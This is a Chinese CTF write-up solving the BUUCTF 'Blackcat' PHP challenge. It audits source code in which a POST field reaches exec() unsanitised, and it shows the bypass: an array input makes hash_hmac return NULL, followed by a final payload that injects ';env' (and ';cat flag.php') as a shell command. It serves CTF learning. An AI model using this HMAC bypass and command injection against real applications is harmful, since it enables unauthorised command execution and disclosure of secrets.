【BUUCTF】[羊城杯 2020]Blackcat1

打开题目页面如下

发现是一段音频,去看看源码,是一个压缩包,下载看看

得到这些文件,发现居然还给了个假的flag,源码在index. php中,下面进行代码审计

php 复制代码
<?php
// 检查 $_POST 数组中 'Black-Cat-Sheriff' 和 'One-ear' 这两个键对应的值是否为空
// empty() 函数用于检查一个变量是否为空,为空的情况包括变量未定义、值为 0、空字符串、空数组等
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    // 如果 'Black-Cat-Sheriff' 或 'One-ear' 为空,则输出错误信息并终止脚本执行
    die('谁!竟敢踩我一只耳的尾巴!');
}

// 使用 getenv() 函数获取名为 'clandestine' 的环境变量的值,并将其赋值给变量 $clandestine
// 环境变量通常用于存储系统或应用程序的配置信息
$clandestine = getenv("clandestine");

// 检查 $_POST 数组中是否存在 'White-cat-monitor' 这个键
if(isset($_POST['White-cat-monitor']))
    // 如果存在 'White-cat-monitor' 键,则使用 hash_hmac() 函数对其进行哈希处理
    // hash_hmac() 函数使用指定的哈希算法(这里是 'sha256')和密钥($clandestine)对数据进行哈希运算
    // 并将结果重新赋值给 $clandestine 变量
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);

// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等
if($hh !== $_POST['Black-Cat-Sheriff']){
    // 如果不相等,则输出错误信息并终止脚本执行
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

// 如果前面的条件都满足,说明验证通过
// 使用 exec() 函数执行系统命令,这里尝试执行 "nc" 命令并拼接上 $_POST['One-ear'] 的值
// 这意味着 $_POST['One-ear'] 的值会作为命令的一部分被执行,存在严重的安全风险
echo exec("nc".$_POST['One-ear']);
?>

着重看这几行

php 复制代码
// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等

恕我小白,不太明白,去看了大佬的博客,链接如下

羊城杯 2020Blackcat_羊城杯 2020blackcat 1-CSDN博客

大佬的思路如下

php 复制代码
<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;

利用上面的PHP代码求出value

可以用php在线运行,在线工具,在线编译IDE_w3cschool这个工具运行PHP

得到

04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

利用下面这exp求出Black-Cat-Sheriff的value

php 复制代码
<?php

var_dump(hash_hmac('sha256', ";env", NULL));

?>

得到

afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

最后构造payload

White-cat-monitor\[\]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

最后利用hackbar插件,用post传参,故最终得到flag

相关推荐
画中有画20 小时前
软件架构中质量属性(性能、安全、可扩展性)的权衡设计
java·运维·安全
唐山柳林21 小时前
筑牢“数字堤坝”,守住安全底线——洞庭湖堤防安全监测平台为蓄滞洪区安上“智慧大脑”
安全
hoaxxcj21 小时前
零能力 Agent 骗过评测实测:朴素 harness 被骗 75%,加固后仍漏掉「抄答案」
网络·安全·大模型·工程化·ai实战
Tokenge21 小时前
AI 前沿日报|2026.08.19:模型安全按下减速键,智能体进入“可控落地”新阶段
人工智能·安全
Zach_菠萝侠1 天前
【DeepSeek Harness 研究】进化方向4:安全加固 思考、设计与实现
开发语言·安全·deepseek
猫咪宝妖1 天前
【信息安全工程师】网络与信息安全理论
网络·安全·web安全
恒拓高科WorkPlus1 天前
信创即时通讯上线前要验证哪些能力?BeeWorks选型与验证指南
大数据·安全
欧阳天羲1 天前
【升级版】AI毫米波雷达扫描+视觉双鉴激光灭蚊机器人|360°全域侦测+超低误杀+人体安全防护(ESP32+YOLOv8全套开源)
人工智能·安全·机器人
进制树1 天前
【飞控开发实战·⑲】ROS2无人机开发环境搭建:Jazzy安装、工作空间与hello_drone节点实战
开发语言·安全·无人机·课程设计
QYRdata1 天前
权威数据:2026-2032年应用(API)系统安全审计平台CAGR15.3%,安全赛道驶入高增速通道
安全·系统安全